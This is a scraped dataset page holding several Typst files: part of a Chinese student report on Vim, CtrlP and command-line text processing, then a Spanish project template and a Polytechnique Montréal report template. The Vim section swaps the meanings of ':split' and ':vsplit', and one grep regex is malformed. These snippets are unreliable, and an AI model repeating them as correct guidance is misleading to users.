+ 阅读这个插件的 文档。 尝试用 CtrlP 来在一个工程文件夹里定位一个文件,打开 Vim, 然后用 Vim 命令控制行开始`:CtrlP`.
+ 自定义`CtrlP:`添加 configuration 到你的`~/.vimrc`来用按 Ctrl-P 打开 CtrlP
][
- 运行结果如@ctlp
]
#figure(
image("./figure/ctlp.png", width: 70%),
caption: [
操作实例
],
)<ctlp>
#cprob[如何在 Vim 中保存文件?][
- 按`:w`保存文件。
- 按`:wq`保存并退出 Vim。
- 按`:x`也是保存并退出的快捷方式。
- 按`:w <filename>`可以将文件另存为指定的文件名。
]
#cprob[如何在 Vim 中复制和粘贴文本?][
- 按`v`进入字符可视模式,选择文本,然后按`y` 复制。
- 将光标移动到目标位置,按`p`粘贴到光标后,或按`shift+p`粘贴到光标前。
]
#cprob[如何在 Vim 中搜索和替换文本?][
- 按 / 后输入搜索的文本,按 Enter 进行搜索。
- 按 :%s/old/new/g 替换文件中所有的 "old" 为 "new"。
- 按 :%s/old/new/gc 替换文件中所有的 "old" 为 "new",并且每次替换前会进行确认。
- 替换之前@vim1
- 替换之后@vim2
]
#figure(
image("./figure/vim1.png", width: 70%),
caption: [
操作实例
],
)<vim1>
#figure(
image("./figure/vim2.png", width: 70%),
caption: [
操作实例
],
)<vim2>
#cprob[如何在 Vim 中分割窗口?][
- 按 :split 或 :sp 垂直分割窗口。
- 按 :vsplit 或 :vsp 水平分割窗口。
]
#cprob[如何在 Vim 中撤销分割的窗口?][
- 按 :close 或 :q 关闭当前窗口
]
= Data wrangling
== 课后练习
#cprob[
- 统计 words 文件 (/usr/share/dict/words) 中包含至少三个 a 且不以 's 结尾的单词个数。这些单词中,出现频率前三的末尾两个字母是什么?
- sed 的 y 命令,或者 tr 程序也许可以帮你解决大小写的问题。共存在多少种词尾两字母组合?
- 还有一个很 有挑战性的问题:哪个组合从未出现过?
][
+ `cat /usr/share/dict/words | tr "[:upper:]" "[:lower:]" | grep -E "^([^a]?*a){3}.*$" | grep -v "'s$"|wc -l`
- tr xxx用于将大写字母转换为小写字母
- `grep -E "^([^a]?*a){3}.*$"` 意为:匹配前面是不是a都可以含有a的组三次
- grep -v
]
== 自行发挥
#cprob[
如何删除文件中的空行?
][
- 使用`sed`命令:`sed '/^$/d' filename > newfile`会删除文件中的所有空行,并将结果输出到 newfile。如果要直接修改原文件,可以使用`sed -i '/^$/d' filename`。
- 使用`awk`命令:`awk NF filename > newfile`也会删除空行,并将结果输出到 newfile。
- 使用`grep`命令:`grep -v '^$' filename > newfile`删除空行,并将结果输出到 newfile。
]
#cprob[
如何删除文件中的重复行
][
- 使用 uniq 命令:sort filename | uniq > newfile 首先对文件进行排序,然后使用 uniq 删除重复行,结果输出到 newfile。
]
#cprob[
如何统计文件中特定单词的出现次数?
][
- 使用 grep 和 wc 命令:grep -o "word" filename | wc -l 可以统计特定单词出现的次数。
]
#cprob[
如何合并多个 CSV 文件?
][
- 使用`cat`命令:`cat file1.csv file2.csv > merged.csv`可以将两个 CSV 文件合并成一个。
]
= 实例计算
- 16个问题,其中第一个问题4个实例,一共20个实例
= 总结
+ Shell
+ 通过编写简单的脚本来自动化日常任务,能够处理文件和目录。
+ 学会了使用 ls 命令的高级选项来显示文件的详细信息
+ 使用 find 和 xargs 组合来查找和压缩特定类型的文件。
+ Vim
+ 学了如何自定义 Vim 的配置文件 ~/.vimrc
+ 使用 Vim 插件如 ctrlp.vim 来增强编辑体验
+ 使用 Vim 的快捷键进行文本编辑
+ 数据整理
+ 使用sed、awk、grep 和 uniq 来处理文本数据,包括删除空行、去除重复行、统计单词出现次数等
+ 这次比上次要难(很有可能是因为三节课被合成了一节课),基本上最难的应该是后面数据处理的内容,正则化表达式挺复杂,比较生涩
+ vim主要是熟练度的问题,平时多使用就能有所长进,多想想如何简化操作流程
+ shell是一些语法要记住,可以用shell来简化一些流程从而让工作过程变得简单,比如这次的检测多少次运行之后出现漏洞的问题
+ 在此附上#link("https://github.com/Danmushu/missingSemester.git")[GitHub链接]和commit记录(上次忘了,这次一起附上)如@github
#figure(
image("./figure/image.png", width: 70%),
caption: [
操作实例
],
)<github> |
|
https://github.com/Wh4rp/OCI-Solutions | https://raw.githubusercontent.com/Wh4rp/OCI-Solutions/main/lib/project.typ | typst | #let project(
title: "",
subtitle: "",
author: "",
date: "",
presentation: none,
doc,
) = {
// set document(
// )
set list(
indent: 1em,
)
set text(
font: "New Computer Modern",
lang: "es",
)
move(dy: 30%, align(end)[
#set text(
size: 14pt,
)
#heading(level: 1, outlined: false)[#title]
#heading(level: 2, outlined: false)[#subtitle]
#heading(level: 3, outlined: false)[#author]
])
move(dy: 50%, align(end)[
#set text(
size: 12pt,
)
#heading(level: 2, outlined: false)[#date]
])
pagebreak()
set page(
numbering: "i",
)
heading(level: 1)[Presentación]
presentation
pagebreak()
outline(indent: 2em)
set page(
numbering: "1",
)
counter(page).update(1)
doc
} |
|
https://github.com/NextFire-PolyMTL/templates | https://raw.githubusercontent.com/NextFire-PolyMTL/templates/main/typst_template.typ | typst | #let template(
subject: none,
title: none,
subtitle: none,
authors: (
(name: "<NAME>", number: 2230468),
),
date: datetime.today(),
semester: none,
lang: "fr",
doc,
) = {
set document(
title: (subject, title, subtitle)
.filter(it => it != none)
.join(" – "),
author: authors.map(author => author.name),
date: date,
)
set page(paper: "us-letter")
set text(lang: lang)
set heading(numbering: "1.1")
set par(justify: true)
set outline(indent: auto)
show outline.entry.where(level: 1): it => {
v(1em, weak: true)
strong(it)
}
show image: it => align(it, center)
show link: it => {
underline(stroke: (dash: "densely-dotted"), it)
}
{
set text(16pt)
set align(center)
if lang == "fr" {
image("Polytechnique_signature-RGB-gauche_FR.png", width: 2.5in)
} else {
image("Polytechnique_signature-RGB-gauche_ENG.png", width: 2.5in)
}
linebreak()
if subject != none {
strong(subject)
linebreak()
linebreak()
}
if title != none {
strong(text(22pt, title))
linebreak()
}
if subtitle != none {
strong(text(14pt, subtitle))
}
grid(
columns: (1fr,) * calc.min(authors.len(), 3),
row-gutter: 24pt,
..authors.map(author => [#author.name (#author.number)]),
)
if lang == "fr" {
let mois_arr = (
"janvier",
"février",
"mars",
"avril",
"mai",
"juin",
"juillet",
"août",
"septembre",
"octobre",
"novembre",
"décembre",
)
let mois = mois_arr.at(date.month() - 1)
date.display("[day padding:none] " + mois + " [year]")
} else {
date.display("[month repr:long] [day padding:none], [year]")
}
linebreak()
[Polytechnique Montréal]
if semester != none [ – #semester]
}
linebreak()
doc
}
#show: doc => template(
subject: "Subject",
title: "Title",
subtitle: "Subtitle",
semester: "Hiver 2024",
doc,
)
#outline()
#set page(numbering: "1")
#heading(numbering: none)[Introduction]
#lorem(20)
= Section
#lorem(40)
== Subsection
#lorem(40)
#heading(numbering: none)[Conclusion]
#lorem(20)
|
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.